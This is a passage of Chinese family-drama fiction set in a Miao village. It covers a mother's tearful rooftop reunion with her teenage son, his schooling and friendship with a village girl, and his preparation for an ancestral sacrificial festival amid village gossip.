祭祭，我的小祭祭。娘对不起你。娘答应过你，要在草原上放羊，采草药，永远不分开的。娘食言了。 她不知道许祭现在在哪里，是不是还活着。雅玛珍有没有护着他？他会不会恨她？会不会像许玉溪一样，觉得她是个自私自利的母亲？ 酒坛子渐渐空了，林晚的意识也开始模糊。她看着远处连绵的山峦，看着天上细碎的星子，眼前晃过很多画面—— 是当年在苗寨，她抱着襁褓里的许玉溪，和沈司南坐在山巅看日出；是在香港的街头，她牵着小小的许祭，给他买一颗甜甜的糖果；是在上海滩的百乐门，她穿着绯色旗袍，指尖捻着蛊虫，对着李长河冷笑；是在草原的蒙古包里，她看着许祭熟睡的脸，一夜无眠。 那些画面，像走马灯一样，在她眼前转啊转。 她这一生，好像都在逃。 逃苗寨的规矩，逃许家的恩怨，逃上海滩的刀光剑影。可她逃了一辈子，终究还是逃不过一个“情”字。 对儿子的情，对故土的情，对那些再也回不去的岁月的情。 林晚将空酒坛子扔出去，坛子砸在地上，碎成一片。她趴在瓦片上，终于再也忍不住，放声大哭。 哭声被山风裹着，散在苗寨的夜色里，像一只受伤的兽，在无人的角落，舔舐着自己的伤口。 她不知道，吊脚楼的阴影里，站着一个身影。沈司南手里握着一盏马灯，看着屋顶上那个蜷缩的背影，眼底满是疼惜，却终究没有上前。 有些苦，总要自己尝完。 有些路，总要自己走完。 有些债，总要自己还完。 哭声被山风扯得细碎，瓦片上的人影蜷缩着，像只被风雨打透的孤鸟。 就在这时，一道急促的脚步声踩着木梯响起来，带着少年人独有的莽撞和急切。 “娘——” 一声喊，破了苗寨的夜。 林晚的哭声戛然而止，她僵在原地，以为是自己醉了，听错了。直到一双温热的手臂，从身后紧紧抱住了她，力道大得像是要将她揉进骨血里。 熟悉的少年气息，混着草药和山风的味道，扑面而来。 林晚缓缓转过头，眼泪模糊了视线。她看见十四岁的许祭，站在她身后，眉眼间褪去了草原上的稚气，轮廓渐渐长开，像极了她记忆里的模样。他的蓝布褂子沾着尘土，裤脚卷着，显然是一路跑过来的。 “祭祭？”林晚的声音发颤，带着不敢置信的沙哑，“是你吗？” 许祭埋在她的颈窝里，肩膀剧烈地颤抖着，眼泪打湿了她的衣领。他用力点头，声音 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“对不起，祭祭，对不起。”林晚抱着他，放声大哭，“是娘不好，是娘丢下了你，是娘食言了……” 许祭用力回抱住她，拍着她的背，像小时候她哄他那样，轻声安慰：“娘，我不怪你。我知道你是为了我好。外婆都告诉我了，你是为了护着我，才跟青帮的人走的。” 山风掠过屋顶，带着木叶的清香。吊脚楼的阴影里，沈司南默默转身，将马灯的光调暗了些，把这片天地，留给了久别重逢的母子。 许祭抱着林晚，忽然想起什么，从怀里掏出那枚银质蛊铃，递到她面前。月光落在铃身上，刻着的苗家花纹闪着细碎的光。 “娘，你看，我把它带回来了。” 林晚看着那枚蛊铃，眼眶更红了。这是她留给许祭的护身符，是她和他之间，唯一的念想。 她接过蛊铃，紧紧攥在手里，抬头看向许祭，眼底满是泪光，却又带着一丝笑意。 “祭祭，娘再也不会离开你了。” 许祭用力点头，将她抱得更紧了些。 苗寨的夜，静悄悄的。屋顶上的母子相拥着，月光落在他们身上，温柔得像是从未有过别离。 一些重逢终于真正的停下来看看了。 苗寨的秋日带着清冽的桂花香，阳光透过高大的香樟树，在青石板路上投下斑驳的光影。族里的学堂就设在老祠堂隔壁，竹窗敞开着，里面传来先生讲蛊草辨别的声音。 许祭抱着刚抄完的《蛊经》，脚步轻快地往学堂走，袖口沾着点点墨痕，怀里的银质蛊铃偶尔碰撞出细碎的声响。他刚走到门槛边，就被人从身后轻轻拽住了衣角。 “许祭！等我一下！” 清脆的声音带着几分熟悉的娇俏，许祭回头，就看见宁荔枝拎着靛蓝苗裙的裙摆，气喘吁吁地跑到他面前。她双丫髻上的红绳松了一缕，脖子上的银项圈叮当作响，手里还攥着两串刚摘的野山楂。 “你又迟到了。”许祭挑眉，眼底带着几分笑意。他和宁荔枝同窗半年，早就摸清了她的性子，总爱趁着课间跑去后山摘野果，次次踩着上课铃的尾巴冲回来。 宁荔枝吐了吐舌头，把一串山楂塞进他手里，酸甜的果香瞬间漫开来：“就迟半刻钟，先生不会骂我的。”她凑近一步，声音压低了些，“昨天先生留的辨草作业，你做完了没？我对着《苗疆蛊草录》看了半宿，还是分不清断肠草和金银花。” 许祭咬了一颗山楂，酸甜的汁水在舌尖漾开，他从怀里掏出自己的作业纸递过去：“我标了图，你拿去看。断肠草的叶脉更粗，花瓣边缘是锯齿状的。” 宁荔枝眼睛一亮，连忙接过作业纸，凑到他身边低头翻看。阳光透过香樟叶的缝隙，落在她的发梢上，镀上一层浅浅的金光。许祭看着她认真的侧脸，忽然想起初来苗寨时，自己还是个沉默寡言的少年，是宁荔枝天天追着他说话，拉着他去后山采草药，带着他融入这片土地。 “对了，”宁荔枝忽然抬头，眼睛亮晶晶的，“下月初就是苗寨的祭祀大典了，我娘给我缝了新苗裙，到时候我们一起去看祭舞好不好？” 许祭的心猛地一跳，他想起沈司南说过，祭祀大典上，许家的子弟要去祠堂祭祖。他攥紧了手里的山楂串，轻声道：“好。” 上课铃恰好响起来，宁荔枝连忙拉着许祭的手腕往学堂里跑，银铃的脆响混着两人的脚步声，在青石板路上敲出轻快的节奏。 祭祀大典的前三天，沈司南就提着一个桐木匣子来找许祭。匣子上雕着繁复的苗家缠枝花纹，打开时，里面铺着暗红的绒布，放着一套青色的苗家长衫，还有一枚刻着许家图腾的银牌。 “这是你爹当年穿过的衣裳，尺寸我让族里的裁缝改过，你穿正好。”沈司南的声音低沉，伸手抚过银牌上的纹路，“许家的子弟，祭祀时要戴着这个，去祠堂祭祖，去祭台拜蛊神。” 许祭伸手摸了摸那长衫的料子，触感柔软，带着淡淡的樟木香气，想来是被妥善收存了许多年。他拿起银牌，冰凉的金属贴着掌心，上面刻着的蛇形图腾栩栩如生，和他那枚蛊铃上的花纹，出自一脉。 “祭祀的规矩多，我这三天，会一点一点教你。”沈司南合上匣子，领着许祭往祠堂的方向走。 苗寨的老祠堂藏在寨子深处，青瓦木梁，檐角挂着青铜风铃，风一吹，就发出清越的声响。祠堂里立着许家历代祖先的牌位，香烛长明，烟雾缭绕，透着一股肃穆的气息。 沈司南站在牌位前，教许祭行叩拜礼。“三步一叩，九步一拜，拜的时候要心诚，嘴里要念着祖先的名讳。”他说着，亲自示范，双膝跪地时，脊背挺直，动作庄重。 许祭跟着学，起初动作生涩，膝盖磕在冰冷的青石板上，疼得他额头冒汗，却硬是咬着牙不肯吭声。沈司南看着他的模样，眼底闪过一丝赞许——这孩子身上的韧劲，和林晚太像了。 除了叩拜礼，沈司南还教他认祭祖的供品。三牲、五谷、清酒，还有三株精心培育的蛊草，每一样都有讲究。“蛊草要选晨露未干时采摘的，要带着泥土，象征着生生不息。”沈司南指着那三株蛊草，“祭祀时，要亲手把它们种在祭台的土里，祈求蛊神庇佑苗寨风调雨顺。” 傍晚的时候，沈司南还会领着许祭去后山的祭台。祭台由青石板垒成，高达三丈，上面刻着蛊神的神像。沈司南教他如何摆放祭品，如何点燃祭火，如何对着神像念诵祷词。 祷词是古老的苗语，晦涩难懂，许祭跟着沈司南一字一句地学，嗓子都念哑了，却还是捧着抄满祷词的纸，在祭台上反复诵读。 夜色渐深时，山风微凉，沈司南看着许祭站在祭台上的背影，忽然开口：“你娘当年，也和你一样，在祭台上念了一夜的祷词。” 许祭的动作一顿，回头看向沈司南。 “她那时候比你还小，”沈司南的声音里带着一丝怀念，“却硬是扛住了长老会的刁难，把祭祖的礼仪做得滴水不漏。” 许祭攥紧了手里的纸，抬头望向夜空里的星星。他想，娘当年在这里的时候，心里想着的，是不是也是护着自己想护的人。 三天的时间一晃而过，许祭已经把所有的礼仪都学得炉火纯青。他站在祠堂的铜镜前，换上那身青色的苗家长衫，戴上银牌，镜中的少年眉眼俊朗，脊背挺直，已然有了几分许家子弟的模样。 沈司南看着他，点了点头：“明日祭祀，你就跟着我，一步都不要错。” 许祭深吸一口气，对着铜镜里的自己，郑重地点了点头。 他知道，明日的祭祀大典，不仅是苗寨的盛会，更是他认祖归宗的时刻。 他要替娘，替爹，好好地完成这场祭祀。 祭祀大典的前一日，苗寨的晒谷场上格外热闹。竹匾里晒着新收的糯米，妇人们坐在石凳上搓着五彩的花绳，汉子们则扛着木料，忙着加固后山的祭台。闲话家常的声音混着捶布的梆梆声，在风里飘得老远。 “听说没？今年祭祀大典，许家那孩子也要上台。”一个扎着包头帕的老妇人压低声音，手里的针线却没停。 旁边搓麻绳的妇人闻言，立刻凑了过来，眼里满是好奇：“许家的？是当年林晚丢下的那个？他不是在草原待着吗？怎么突然回来了？” “可不是嘛。”老妇人往地上啐了一口，“沈司南亲自领着他去祠堂祭祖，还翻出了他爹当年的衣裳。听说这三天，天天泡在祠堂和祭台，学那些老规矩呢。” “那今年的祭祀，岂不是要有两个主祭了？”另一个挎着竹篮路过的妇人停下脚步，惊讶地睁大了眼睛，“往年不都是陈家的小子领头吗？” 这话一出，晒谷场上瞬间安静了几分。 陈家的孙子陈望，自小跟着族里的老人学蛊术和祭祀礼仪，年年都是大典的主祭，沉稳老练的模样早就得了全寨人的认可。许祭的突然出现，无疑是打破了多年的惯例。 “许家也是苗寨的大族，血脉正着呢。”一个白胡子老人坐在门槛上，吧嗒着旱烟，慢悠悠地开口，“这孩子眉眼像极了林晚，骨子里那股韧劲，看着就像能扛事的。” “说起来也是，当年林晚姑娘可是咱们寨子里最灵的苗子，辨蛊草、养蛊虫，样样拔尖。”有人跟着附和，语气里带着几分惋惜，“要不是当年她非要往外跑，许家哪里会沉寂这么些年。” “管他呢，多一个主祭，大典反倒更热闹些。”有年轻媳妇笑着插话，手里的花绳搓得飞快，“我看许祭这孩子稳重，和陈望搭手，定能把祭祀办得妥妥帖帖，让蛊神多庇佑咱们寨子。” 议论声渐渐又热闹起来，有看好许祭的，也有念叨陈望经验足的，还有些半大的孩子，凑在一起叽叽喳喳，猜想着大典上两人会如何配合。 宁荔枝拎着一篮刚摘的桂花路过，听见这些议论，脚步顿了顿。她抬头望向祭台的方向，夕阳正落在青石板上，镀上一层金红的光。 她想起许祭认真念诵祷词的模样，想起他攥着银牌时眼底的坚定，嘴角不自觉地弯起一个小小的弧度。 两个主祭吗？ 好像，还挺有意思的。 阳光很暖，他们还是年轻的少年。